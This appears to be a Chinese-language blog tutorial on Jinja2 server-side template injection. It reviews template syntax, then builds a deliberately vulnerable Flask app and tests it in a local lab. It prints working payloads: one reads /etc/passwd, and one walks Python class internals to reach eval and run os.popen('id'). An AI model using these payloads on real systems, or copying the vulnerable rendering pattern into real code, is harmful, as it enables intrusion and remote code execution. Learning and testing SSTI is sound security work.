SSTI模板注入

先入個門

個人感覺學SSTI注入之前,最好先學習一下python的沙盒繞過,兩個利用的地方比較類似。

Jimja2

Jinja2是默認的仿Django模板的一個模板引擎,由Flask的作者開發。網上搜的語法2333,方便自己回顧

模板
{{ ... }}:裝載一個變量,模板渲染的時候,會使用傳進來的同名參數這個變量代表的值替換掉。
{% ... %}:裝載一個控制語句。
{# ... #}:裝載一個註釋,模板渲染的時候會忽視這中間的值
變量

在模板中添加變量,可以使用(set)語句。

{% set name='xx' %}

with語句來創建一個內部的作用域,將set語句放在其中,這樣創建的變量只在with代碼塊中才有效

{% with gg = 42 %}
{{ gg }}
{% endwith %}
if語句
{% if ken.sick %}
Ken is sick.
{% elif ken.dead %}
You killed Ken! You bastard!!!
{% else %}
Kenny looks okay --- so far
{% endif %}
for語句
{% for user in users %}
{{ user.username|e }}
{% endfor %}
遍歷
{% for key, value in <strong>my_dict.iteritems()</strong> %}
&lt;dt&gt;{{ key|e }}&lt;/dt&gt;
&lt;dd&gt;{{ value|e }}&lt;/dd&gt;
{% endfor %}
Jinja2中for循環內置常量

loop.index 當前迭代的索引(從1開始)
loop.index0 當前迭代的索引(從0開始)
loop.first 是否是第一次迭代,返回True/False
loop.last 是否是最後一次迭代,返回True/False
loop.length 序列的長度
注意:不可以使用continue和break表達式來控制循環的執行。

過濾器

過濾器是通過(|)符號進行使用的,例如:{{ name|length }}:將返回name的長度

類似於我們平常的的函數,他他這種應該就是內置函數,因爲它本身就含有很多過濾器

abs(value):返回一個數值的絕對值。示例:-1|abs
last(value):返回一個序列的最後一個元素。示例:names|last。
length(value):返回一個序列或者字典的長度。示例:names|length。
join(value,d=u''):將一個序列用d這個參數的值拼接成字符串。
int(value):將值轉換爲int類型。
float(value):將值轉換爲float類型。
lower(value):將字符串轉換爲小寫。
upper(value):將字符串轉換爲小寫

模板注入

簡單地說跟這種類型的注入跟一般的注入成因其實一樣,都是過分相信用戶的輸入導致的漏洞,這樣一來通過模板注入可以導致敏感信息泄露、代碼執行等諸多漏洞,這裏有一篇關於PHP的模板注入,寫的挺好,可以參考一下:https://www.freebuf.com/vuls/83999.html,但這篇文章PHP 模版引擎 Twig 作爲例子,只是簡單介紹了一下XSS的相關漏洞,並沒有觸發更大的危害,但是常規的測試方法已經寫了出來,跟測試注入其實差不多,就是換了內容而已。

ktayNt.png

所以下面就自己搭個python的web環境,以危害更大的SSTI模板注入作爲例子說明,這是app.py裏面的代碼內容

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":

可以看得出來name參數直接以get方式獲取,直接拼接在Hello後面作爲模板,直接render,這很明顯name參數是可控的。問題也恰好是出在這。

當然這裏也是有XSS的

ktJXGD.png

但是重點還是放在讀文件這一功能上,這也相當於直接RCE了,先要學習一下下面這幾個類,__mro__以及__subclasses__屬性,其實這裏有點像python沙盒繞過的構造方法23333.

__mro__中的MRO(Method Resolution Order)代表着解析方法調用的順序,可以看看Python文檔中的介紹。它是每個對象元類的一個隱藏屬性,當進行內省時會忽略dir輸出(see Objects/object.c at line 1812)

__subclasses__屬性在這裏作爲一種方法被定義爲,對每個new-style class“爲它的直接子類維持一個弱引用列表”,之後“返回一個包含所有存活引用的列表”。

上面的這兩個屬性引用自這篇文章:https://www.freebuf.com/articles/web/98928.html

個人直接理解就是__mro__會輸出當前對象所調用的全部類包括其父類,而__subclasses__會輸出該類下所有的子類。OK,這樣就可以愉快的開始了

先來測試一下是否存在這個漏洞,輸入參數{{5*5}}hello,明顯存在漏洞

ktfbPU.png

首先我們要做的第一件事便是選擇一個new-style object用於訪問object基類。可以簡單的使用'',一個空字符串,str對象類型。之後可以使用__mro__屬性訪問對象的繼承類。將{{ ''.__class__.__mro__ }}作爲payload注入到存在SSTI漏洞的頁面中

ktYYQJ.png

出現兩個類,選擇第二個object基類,並顯示該類下方的所有子類,注入{{ ''.__class__.__mro__[1].__subclasses__() }}

ktYReI.png

上面鏈接的文章裏面使用file類去進行對文件的讀寫操作,payload:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }},但是file方法在py3中已經不支持,只要找到可以執行代碼的函數或者其他讀文件的函數都可以,在vulhub上找到的另外一個適合py3的,利用了eval函數去實現RCE的功能,因爲執行語句去實現的,所以得用%括住。方法不止一種,找到對的繼承鏈就可以。

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

ktNZbn.png

成功讀取根目錄下的文件

ktNMCT.png

另外再拿

這東西只要找對繼承關係,而且繼承關係裏面的方法清楚的話就很快獲得效果,當然防範的話得從代碼層下手,永遠不要相信用戶的輸入就對了,對可控變量做好防禦XD

參考文章:

https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

https://www.freebuf.com/vuls/83999.html

https://www.freebuf.com/articles/web/98928.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章